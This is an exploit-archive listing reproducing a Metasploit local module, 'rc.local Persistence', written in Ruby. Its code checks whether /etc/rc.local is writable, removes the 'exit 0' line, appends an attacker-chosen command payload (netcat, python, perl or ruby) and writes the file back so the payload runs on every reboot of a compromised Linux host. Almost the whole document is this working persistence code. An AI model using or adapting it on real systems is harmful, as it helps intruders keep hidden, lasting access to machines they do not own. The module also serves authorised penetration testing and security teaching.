Linux rc.local Payload Persistence Module Exploit

2018-08-24
ID: 98996
CVE: None
Download vulnerable application: None
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
   include Msf::Post::File
  include Msf::Post::Unix
   def initialize(info = {})
    super(update_info(info,
      'Name'           => 'rc.local Persistence',
      'Description'    => %q(
        This module will edit /etc/rc.local in order to persist a payload.
        The payload will be executed on the next reboot.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Eliott Teissonniere' ],
      'Platform'       => [ 'unix', 'linux' ],
      'Arch'           => ARCH_CMD,
      'Payload'        => {
        'BadChars'   => "#%\n",
        'Compat'     => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python ruby netcat perl'
        }
      },
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
      'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
      'Targets'        => [ ['Automatic', {}] ],
      'DefaultTarget'  => 0
    ))
  end
   def exploit
    unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'
      fail_with Failure::BadConfig, '/etc/rc.local is not writable'
    end
     print_status('Reading /etc/rc.local')
     # read /etc/rc.local, but remove `exit 0`
    rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
     # add payload and put back `exit 0`
    rc_local << "\n#{payload.encoded}\nexit 0\n"
     # write new file
    print_status('Patching /etc/rc.local')
    write_file('/etc/rc.local', rc_local)
  end
end
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